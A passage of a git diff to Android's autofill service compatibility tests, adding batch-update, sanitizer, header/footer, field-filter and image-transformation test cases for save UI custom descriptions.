+ Log.e(TAG, "onSaveRequest() should never be called");
+ throw new UnsupportedOperationException("onSaveRequest() should never be called");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
new file mode 100644
index 0000000..f17f7dc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.InternalTransformation;
+import android.service.autofill.Transformation;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BatchUpdatesTest {
+
+ private final BatchUpdates.Builder mBuilder = new BatchUpdates.Builder();
+
+ @Test
+ public void testAddTransformation_null() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.transformChild(42, null));
+ }
+
+ @Test
+ public void testAddTransformation_invalidClass() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.transformChild(42, mock(Transformation.class)));
+ }
+
+ @Test
+ public void testSetUpdateTemplate_null() {
+ assertThrows(NullPointerException.class, () -> mBuilder.updateTemplate(null));
+ }
+
+ @Test
+ public void testEmptyObject() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ }
+
+ @Test
+ public void testNoMoreChangesAfterBuild() {
+ assertThat(mBuilder.updateTemplate(mock(RemoteViews.class)).build()).isNotNull();
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.updateTemplate(mock(RemoteViews.class)));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.transformChild(42, mock(InternalTransformation.class)));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index cf2cc6d..4ae01fc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -27,8 +27,11 @@
import android.service.autofill.Dataset;
import android.service.autofill.FillCallback;
import android.service.autofill.FillResponse;
+import android.service.autofill.Sanitizer;
import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
import android.service.autofill.Validator;
+import android.util.Pair;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;
@@ -39,6 +42,7 @@
import java.util.List;
import java.util.Map;
import java.util.function.Function;
+import java.util.regex.Pattern;
/**
* Helper class used to produce a {@link FillResponse} based on expected fields that should be
@@ -59,6 +63,7 @@
private final ResponseType mResponseType;
private final List<CannedDataset> mDatasets;
+ private final ArrayList<Pair<Sanitizer, AutofillId[]>> mSanitizers;
private final String mFailureMessage;
private final int mSaveType;
private final Validator mValidator;
@@ -68,12 +73,19 @@
private final CustomDescription mCustomDescription;
private final Bundle mExtras;
private final RemoteViews mPresentation;
+ private final RemoteViews mHeader;
+ private final RemoteViews mFooter;
private final IntentSender mAuthentication;
private final String[] mAuthenticationIds;
private final String[] mIgnoredIds;
private final int mNegativeActionStyle;
private final IntentSender mNegativeActionListener;
- private final int mFlags;
+ private final int mSaveInfoFlags;
+ private final int mFillResponseFlags;
+ private final AutofillId mSaveTriggerId;
+ private final long mDisableDuration;
+ private final AutofillId[] mFieldClassificationIds;
+ private final boolean mFieldClassificationIdsOverflow;
private CannedFillResponse(Builder builder) {
mResponseType = builder.mResponseType;
@@ -87,12 +99,20 @@
mSaveType = builder.mSaveType;
mExtras = builder.mExtras;
mPresentation = builder.mPresentation;
+ mHeader = builder.mHeader;
+ mFooter = builder.mFooter;
mAuthentication = builder.mAuthentication;
mAuthenticationIds = builder.mAuthenticationIds;
mIgnoredIds = builder.mIgnoredIds;
mNegativeActionStyle = builder.mNegativeActionStyle;
mNegativeActionListener = builder.mNegativeActionListener;
- mFlags = builder.mFlags;
+ mSanitizers = builder.mSanitizers;
+ mSaveInfoFlags = builder.mSaveInfoFlags;
+ mFillResponseFlags = builder.mFillResponseFlags;
+ mSaveTriggerId = builder.mSaveTriggerId;
+ mDisableDuration = builder.mDisableDuration;
+ mFieldClassificationIds = builder.mFieldClassificationIds;
+ mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
}
/**
@@ -122,7 +142,18 @@
* structure.
*/
FillResponse asFillResponse(Function<String, ViewNode> nodeResolver) {
- final FillResponse.Builder builder = new FillResponse.Builder();
+ return asFillResponse(null, nodeResolver);
+
+ }
+
+ /**
+ * Creates a new response, replacing the dataset field ids by the real ids from the assist
+ * structure.
+ */
+ FillResponse asFillResponse(InstrumentedAutoFillService service,
+ Function<String, ViewNode> nodeResolver) {
+ final FillResponse.Builder builder = new FillResponse.Builder()
+ .setFlags(mFillResponseFlags);
if (mDatasets != null) {
for (CannedDataset cannedDataset : mDatasets) {
final Dataset dataset = cannedDataset.asDataset(nodeResolver);
@@ -137,7 +168,7 @@
: new SaveInfo.Builder(mSaveType,
getAutofillIds(nodeResolver, mRequiredSavableIds));
- saveInfo.setFlags(mFlags);
+ saveInfo.setFlags(mSaveInfoFlags);
if (mValidator != null) {
saveInfo.setValidator(mValidator);
@@ -153,6 +184,14 @@
if (mCustomDescription != null) {
saveInfo.setCustomDescription(mCustomDescription);
}
+
+ for (Pair<Sanitizer, AutofillId[]> sanitizer : mSanitizers) {
+ saveInfo.addSanitizer(sanitizer.first, sanitizer.second);
+ }
+
+ if (mSaveTriggerId != null) {
+ saveInfo.setTriggerId(mSaveTriggerId);
+ }
builder.setSaveInfo(saveInfo.build());
}
if (mIgnoredIds != null) {
@@ -162,9 +201,29 @@
builder.setAuthentication(getAutofillIds(nodeResolver, mAuthenticationIds),
mAuthentication, mPresentation);
}
- return builder
- .setClientState(mExtras)
- .build();
+ if (mDisableDuration > 0) {
+ builder.disableAutofill(mDisableDuration);
+ }
+ if (mFieldClassificationIdsOverflow) {
+ final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
+ final AutofillId[] fieldIds = new AutofillId[length];
+ for (int i = 0; i < length; i++) {
+ fieldIds[i] = new AutofillId(i);
+ }
+ builder.setFieldClassificationIds(fieldIds);
+ } else if (mFieldClassificationIds != null) {
+ builder.setFieldClassificationIds(mFieldClassificationIds);
+ }
+ if (mExtras != null) {
+ builder.setClientState(mExtras);
+ }
+ if (mHeader != null) {
+ builder.setHeader(mHeader);
+ }
+ if (mFooter != null) {
+ builder.setFooter(mFooter);
+ }
+ return builder.build();
}
@Override
@@ -173,14 +232,22 @@
+ ",datasets=" + mDatasets
+ ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
+ ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
- + ", flags=" + mFlags
+ + ", saveInfoFlags=" + mSaveInfoFlags
+ + ", fillResponseFlags=" + mFillResponseFlags
+ ", failureMessage=" + mFailureMessage
+ ", saveDescription=" + mSaveDescription
+ ", mCustomDescription=" + mCustomDescription
+ ", hasPresentation=" + (mPresentation != null)
+ + ", hasHeader=" + (mHeader != null)
+ + ", hasFooter=" + (mFooter != null)
+ ", hasAuthentication=" + (mAuthentication != null)
+ ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
+ ", ignoredIds=" + Arrays.toString(mIgnoredIds)
+ + ", sanitizers =" + mSanitizers
+ + ", saveTriggerId=" + mSaveTriggerId
+ + ", disableDuration=" + mDisableDuration
+ + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+ + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
+ "]";
}
@@ -192,6 +259,7 @@
static class Builder {
private final List<CannedDataset> mDatasets = new ArrayList<>();
+ private final ArrayList<Pair<Sanitizer, AutofillId[]>> mSanitizers = new ArrayList<>();
private final ResponseType mResponseType;
private String mFailureMessage;
private Validator mValidator;
@@ -202,12 +270,19 @@
public int mSaveType = -1;
private Bundle mExtras;
private RemoteViews mPresentation;
+ private RemoteViews mFooter;
+ private RemoteViews mHeader;
private IntentSender mAuthentication;
private String[] mAuthenticationIds;
private String[] mIgnoredIds;
private int mNegativeActionStyle;
private IntentSender mNegativeActionListener;
- private int mFlags;
+ private int mSaveInfoFlags;
+ private int mFillResponseFlags;
+ private AutofillId mSaveTriggerId;
+ private long mDisableDuration;
+ private AutofillId[] mFieldClassificationIds;
+ private boolean mFieldClassificationIdsOverflow;
public Builder(ResponseType type) {
mResponseType = type;
@@ -240,8 +315,13 @@
return this;
}
- public Builder setFlags(int flags) {
- mFlags = flags;
+ public Builder setSaveInfoFlags(int flags) {
+ mSaveInfoFlags = flags;
+ return this;
+ }
+
+ public Builder setFillResponseFlags(int flags) {
+ mFillResponseFlags = flags;
return this;
}
@@ -312,6 +392,14 @@
return this;
}
+ /**
+ * Adds a save sanitizer.
+ */
+ public Builder addSanitizer(Sanitizer sanitizer, AutofillId... ids) {
+ mSanitizers.add(new Pair<>(sanitizer, ids));
+ return this;
+ }
+
public CannedFillResponse build() {
return new CannedFillResponse(this);
}
@@ -324,6 +412,46 @@
mFailureMessage = message;
return this;
}
+
+ /**
+ * Sets the view that explicitly triggers save.
+ */
+ public Builder setSaveTriggerId(AutofillId id) {
+ assertWithMessage("already set").that(mSaveTriggerId).isNull();
+ mSaveTriggerId = id;
+ return this;
+ }
+
+ public Builder disableAutofill(long duration) {
+ assertWithMessage("already set").that(mDisableDuration).isEqualTo(0L);
+ mDisableDuration = duration;
+ return this;
+ }
+
+ // TODO(b/67867469): document
+ public Builder setFieldClassificationIds(AutofillId... ids) {
+ assertWithMessage("already set").that(mFieldClassificationIds).isNull();
+ mFieldClassificationIds = ids;
+ return this;
+ }
+
+ // TODO(b/67867469): document
+ public Builder setFieldClassificationIdsOverflow() {
+ mFieldClassificationIdsOverflow = true;
+ return this;
+ }
+
+ public Builder setHeader(RemoteViews header) {
+ assertWithMessage("already set").that(mHeader).isNull();
+ mHeader = header;
+ return this;
+ }
+
+ public Builder setFooter(RemoteViews footer) {
+ assertWithMessage("already set").that(mFooter).isNull();
+ mFooter = footer;
+ return this;
+ }
}
/**
@@ -344,6 +472,7 @@
static class CannedDataset {
private final Map<String, AutofillValue> mFieldValues;
private final Map<String, RemoteViews> mFieldPresentations;
+ private final Map<String, Pattern> mFieldFilters;
private final RemoteViews mPresentation;
private final IntentSender mAuthentication;
private final String mId;
@@ -351,6 +480,7 @@
private CannedDataset(Builder builder) {
mFieldValues = builder.mFieldValues;
mFieldPresentations = builder.mFieldPresentations;
+ mFieldFilters = builder.mFieldFilters;
mPresentation = builder.mPresentation;
mAuthentication = builder.mAuthentication;
mId = builder.mId;
@@ -374,10 +504,19 @@
final AutofillId autofillid = node.getAutofillId();
final AutofillValue value = entry.getValue();
final RemoteViews presentation = mFieldPresentations.get(id);
+ final Pattern filter = mFieldFilters.get(id);
if (presentation != null) {
- builder.setValue(autofillid, value, presentation);
+ if (filter == null) {
+ builder.setValue(autofillid, value, presentation);
+ } else {
+ builder.setValue(autofillid, value, filter, presentation);
+ }
} else {
- builder.setValue(autofillid, value);
+ if (filter == null) {
+ builder.setValue(autofillid, value);
+ } else {
+ builder.setValue(autofillid, value, filter);
+ }
}
}
}
@@ -390,12 +529,15 @@
return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
+ ", fieldPresentations=" + (mFieldPresentations)
+ ", hasAuthentication=" + (mAuthentication != null)
- + ", fieldValues=" + mFieldValues + "]";
+ + ", fieldValues=" + mFieldValues
+ + ", fieldFilters=" + mFieldFilters + "]";
}
static class Builder {
private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
+ private final Map<String, Pattern> mFieldFilters = new HashMap<>();
+
private RemoteViews mPresentation;
private IntentSender mAuthentication;
private String mId;
@@ -420,6 +562,17 @@
}
/**
+ * Sets the canned value of a text field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
+ */
+ public Builder setField(String id, String text, Pattern filter) {
+ return setField(id, AutofillValue.forText(text), filter);
+ }
+
+ /**
* Sets the canned value of a list field based on its its {@code id}.
*
* <p>The meaning of the id is defined by the object using the canned dataset.
@@ -465,6 +618,19 @@
}
/**
+ * Sets the canned value of a date field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
+ */
+ public Builder setField(String id, AutofillValue value, Pattern filter) {
+ setField(id, value);
+ mFieldFilters.put(id, filter);
+ return this;
+ }
+
+ /**
* Sets the canned value of a field based on its {@code id}.
*
* <p>The meaning of the id is defined by the object using the canned dataset.
@@ -478,6 +644,20 @@
}
/**
+ * Sets the canned value of a field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
+ */
+ public Builder setField(String id, String text, RemoteViews presentation,
+ Pattern filter) {
+ setField(id, text, presentation);
+ mFieldFilters.put(id, filter);
+ return this;
+ }
+
+ /**
* Sets the view to present the response in the UI.
*/
public Builder setPresentation(RemoteViews presentation) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index 59b0b7c..d40cf5e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -44,6 +44,7 @@
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.service.autofill.CharSequenceTransformation;
import android.service.autofill.CustomDescription;
+import android.service.autofill.ImageTransformation;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject2;
import android.widget.ArrayAdapter;
@@ -249,11 +250,20 @@
assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
}
+ @Test
+ public void testCustomizedSaveUi() throws Exception {
+ customizedSaveUi(false);
+ }
+
+ @Test
+ public void testCustomizedSaveUiWithContentDescription() throws Exception {
+ customizedSaveUi(true);
+ }
+
/**
* Tests that a spinner can be used on custom save descriptions.
*/
- @Test
- public void testCustomizedSaveUi() throws Exception {
+ private void customizedSaveUi(boolean withContentDescription) throws Exception {
// Set service.
enableService();
@@ -268,9 +278,18 @@
final CharSequenceTransformation trans2 = new CharSequenceTransformation
.Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
.build();
+ final ImageTransformation trans3 = (withContentDescription
+ ? new ImageTransformation.Builder(mActivity.getCcNumber().getAutofillId(),
+ Pattern.compile("(.*)"), R.drawable.android,
+ "One image is worth thousand words")
+ : new ImageTransformation.Builder(mActivity.getCcNumber().getAutofillId(),
+ Pattern.compile("(.*)"), R.drawable.android))
+ .build();
+
final CustomDescription customDescription = new CustomDescription.Builder(presentation)
.addChild(R.id.first, trans1)
.addChild(R.id.second, trans2)
+ .addChild(R.id.img, trans3)
.build();
sReplier.addResponse(new CannedFillResponse.Builder()
@@ -294,7 +313,7 @@
final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
// Then make sure it does have the custom views on it...
- final UiObject2 staticText = saveUi.findObject(By.res(packageName, "static_text"));
+ final UiObject2 staticText = saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT));
assertThat(staticText).isNotNull();
assertThat(staticText.getText()).isEqualTo("YO:");
@@ -305,6 +324,15 @@
final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
assertThat(expiration).isNotNull();
assertThat(expiration.getText()).isEqualTo("today");
+
+ final UiObject2 image = saveUi.findObject(By.res(packageName, "img"));
+ assertThat(image).isNotNull();
+ final String contentDescription = image.getContentDescription();
+ if (withContentDescription) {
+ assertThat(contentDescription).isEqualTo("One image is worth thousand words");
+ } else {
+ assertThat(contentDescription).isNull();
+ }
}
/**
@@ -356,6 +384,6 @@
final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
// Then make sure it does not have the custom views on it...
- assertThat(saveUi.findObject(By.res(packageName, "static_text"))).isNull();
+ assertThat(saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT))).isNull();
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
index b7acfc6..bc39ffb 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionTest.java
@@ -25,9 +25,12 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import android.service.autofill.BatchUpdates;
import android.service.autofill.CharSequenceTransformation;
import android.service.autofill.CustomDescription;
import android.service.autofill.ImageTransformation;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.test.uiautomator.By;
@@ -47,7 +50,7 @@
public class CustomDescriptionTest extends AutoFillServiceTestCase {
@Rule
public final AutofillActivityTestRule<LoginActivity> mActivityRule =
- new AutofillActivityTestRule<>(LoginActivity.class);
+ new AutofillActivityTestRule<>(LoginActivity.class);
private LoginActivity mActivity;
@@ -105,13 +108,13 @@
@Test
public void validTransformation() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans1 = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(.*)"), "$1")
.addField(passwordId, Pattern.compile(".*(..)"), "..$1")
.build();
+ @SuppressWarnings("deprecation")
ImageTransformation trans2 = new ImageTransformation
.Builder(usernameId, Pattern.compile(".*"),
R.drawable.android).build();
@@ -120,31 +123,253 @@
.addChild(R.id.first, trans1)
.addChild(R.id.img, trans2)
.build();
- }, () -> assertSaveUiWithCustomDescriptionIsShown("usernm..wd"));
+ }, () -> assertSaveUiIsShownWithTwoLines("usernm..wd"));
+ }
+
+ @Test
+ public void validTransformationWithOneTemplateUpdate() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+ @SuppressWarnings("deprecation")
+ ImageTransformation trans2 = new ImageTransformation
+ .Builder(usernameId, Pattern.compile(".*"),
+ R.drawable.android).build();
+ RemoteViews update = newTemplate(0); // layout id not really used
+ update.setViewVisibility(R.id.second, View.GONE);
+ Validator condition = new RegexValidator(usernameId, Pattern.compile(".*"));
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.img, trans2)
+ .batchUpdate(condition,
+ new BatchUpdates.Builder().updateTemplate(update).build())
+ .build();
+ }, () -> assertSaveUiIsShownWithJustOneLine("usernm..wd"));
+ }
+
+ @Test
+ public void validTransformationWithMultipleTemplateUpdates() throws Exception {
+ testCustomDescription((usernameId, passwordId) -> {
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+ CharSequenceTransformation trans1 = new CharSequenceTransformation.Builder(usernameId,
+ Pattern.compile("(.*)"), "$1")
+ .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+ .build();
+ @SuppressWarnings("deprecation")
+ ImageTransformation trans2 = new ImageTransformation.Builder(usernameId,
+ Pattern.compile(".*"), R.drawable.android)
+ .build();
+
+ Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+ Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+
+ // Line 1 updates
+ RemoteViews update1 = newTemplate(666); // layout id not really used
+ update1.setContentDescription(R.id.first, "First am I"); // valid
+ RemoteViews update2 = newTemplate(0); // layout id not really used
+ update2.setViewVisibility(R.id.first, View.GONE); // invalid
+
+ // Line 2 updates
+ RemoteViews update3 = newTemplate(-666); // layout id not really used
+ update3.setTextViewText(R.id.second, "First of his second name"); // valid
+ RemoteViews update4 = newTemplate(0); // layout id not really used
+ update4.setTextViewText(R.id.second, "SECOND of his second name"); // invalid
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.img, trans2)
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update1).build())
+ .batchUpdate(invalidCondition,
+ new BatchUpdates.Builder().updateTemplate(update2).build())
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update3).build())
+ .batchUpdate(invalidCondition,
+ new BatchUpdates.Builder().updateTemplate(update4).build())
+ .build();
+ }, () -> assertSaveUiWithLinesIsShown(
+ (line1) -> assertWithMessage("Wrong content description for line1")
+ .that(line1.getContentDescription()).isEqualTo("First am I"),
+ (line2) -> assertWithMessage("Wrong text for line2").that(line2.getText())
+ .isEqualTo("First of his second name"),
+ null));
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_noConditionPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.NONE_PASS);
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_secondConditionPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.SECOND_PASS);
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_thirdConditionPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.THIRD_PASS);
+ }
+
+ @Test
+ public void testMultipleBatchUpdates_allConditionsPass() throws Exception {
+ multipleBatchUpdatesTest(BatchUpdatesConditionType.ALL_PASS);
+ }
+
+ private enum BatchUpdatesConditionType {
+ NONE_PASS,
+ SECOND_PASS,
+ THIRD_PASS,
+ ALL_PASS
+ }
+
+ /**
+ * Tests a custom description that has 3 transformations, one applied directly and the other
+ * 2 in batch updates.
+ *
+ * @param conditionsType defines which batch updates conditions will pass.
+ */
+ private void multipleBatchUpdatesTest(BatchUpdatesConditionType conditionsType)
+ throws Exception {
+
+ final boolean line2Pass = conditionsType == BatchUpdatesConditionType.SECOND_PASS
+ || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+ final boolean line3Pass = conditionsType == BatchUpdatesConditionType.THIRD_PASS
+ || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+
+ final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+ .that(line1.getText()).isEqualTo("L1-u");
+
+ final Visitor<UiObject2> line2Visitor;
+ if (line2Pass) {
+ line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+ .that(line2.getText()).isEqualTo("L2-u");
+ } else {
+ line2Visitor = null;
+ }
+
+ final Visitor<UiObject2> line3Visitor;
+ if (line3Pass) {
+ line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+ .that(line3.getText()).isEqualTo("L3-p");
+ } else {
+ line3Visitor = null;
+ }
+
+ testCustomDescription((usernameId, passwordId) -> {
+ Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+ Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+ Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+ final RemoteViews presentation =
+ newTemplate(R.layout.three_horizontal_text_fields_last_two_invisible);
+
+ final CharSequenceTransformation line1Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+ .build();
+
+ final CharSequenceTransformation line2Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+ .build();
+ final RemoteViews line2Updates = newTemplate(666); // layout id not really used
+ line2Updates.setViewVisibility(R.id.second, View.VISIBLE);
+
+ final CharSequenceTransformation line3Transformation =
+ new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+ .build();
+ final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+ line3Updates.setViewVisibility(R.id.third, View.VISIBLE);
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, line1Transformation)
+ .batchUpdate(line2Pass ? validCondition : invalidCondition,
+ new BatchUpdates.Builder()
+ .transformChild(R.id.second, line2Transformation)
+ .updateTemplate(line2Updates)
+ .build())
+ .batchUpdate(line3Pass ? validCondition : invalidCondition,
+ new BatchUpdates.Builder()
+ .transformChild(R.id.third, line3Transformation)
+ .updateTemplate(line3Updates)
+ .build())
+ .build();
+ }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
+ }
+
+ @Test
+ public void testBatchUpdatesApplyUpdateFirstThenTransformations() throws Exception {
+
+ final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+ .that(line1.getText()).isEqualTo("L1-u");
+ final Visitor<UiObject2> line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+ .that(line2.getText()).isEqualTo("L2-u");
+ final Visitor<UiObject2> line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+ .that(line3.getText()).isEqualTo("L3-p");
+
+ testCustomDescription((usernameId, passwordId) -> {
+ Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+ Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+ Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+ final RemoteViews presentation =
+ newTemplate(R.layout.two_horizontal_text_fields);
+
+ final CharSequenceTransformation line1Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+ .build();
+
+ final CharSequenceTransformation line2Transformation =
+ new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+ .build();
+
+ final CharSequenceTransformation line3Transformation =
+ new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+ .build();
+ final RemoteViews line3Presentation = newTemplate(R.layout.third_line_only);
+ final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+ line3Updates.addView(R.id.parent, line3Presentation);
+
+ return new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, line1Transformation)
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder()
+ .transformChild(R.id.second, line2Transformation)
+ .build())
+ .batchUpdate(validCondition,
+ new BatchUpdates.Builder()
+ .updateTemplate(line3Updates)
+ .transformChild(R.id.third, line3Transformation)
+ .build())
+ .build();
+ }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
}
@Test
public void badImageTransformation() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
- ImageTransformation trans = new ImageTransformation
- .Builder(usernameId, Pattern.compile(".*"), 1)
- .build();
+ @SuppressWarnings("deprecation")
+ ImageTransformation trans = new ImageTransformation.Builder(usernameId,
+ Pattern.compile(".*"), 1).build();
return new CustomDescription.Builder(presentation)
.addChild(R.id.img, trans)
.build();
- }, () -> assertSaveUiWithCustomDescriptionIsShown() );
+ }, () -> assertSaveUiWithCustomDescriptionIsShown());
}
@Test
public void unusedImageTransformation() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+ @SuppressWarnings("deprecation")
ImageTransformation trans = new ImageTransformation
.Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
.build();
@@ -158,9 +383,9 @@
@Test
public void applyImageTransformationToTextView() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+ @SuppressWarnings("deprecation")
ImageTransformation trans = new ImageTransformation
.Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
.build();
@@ -174,8 +399,7 @@
@Test
public void failFirstFailAll() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(.*)"), "$42")
@@ -191,8 +415,7 @@
@Test
public void failSecondFailAll() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans = new CharSequenceTransformation
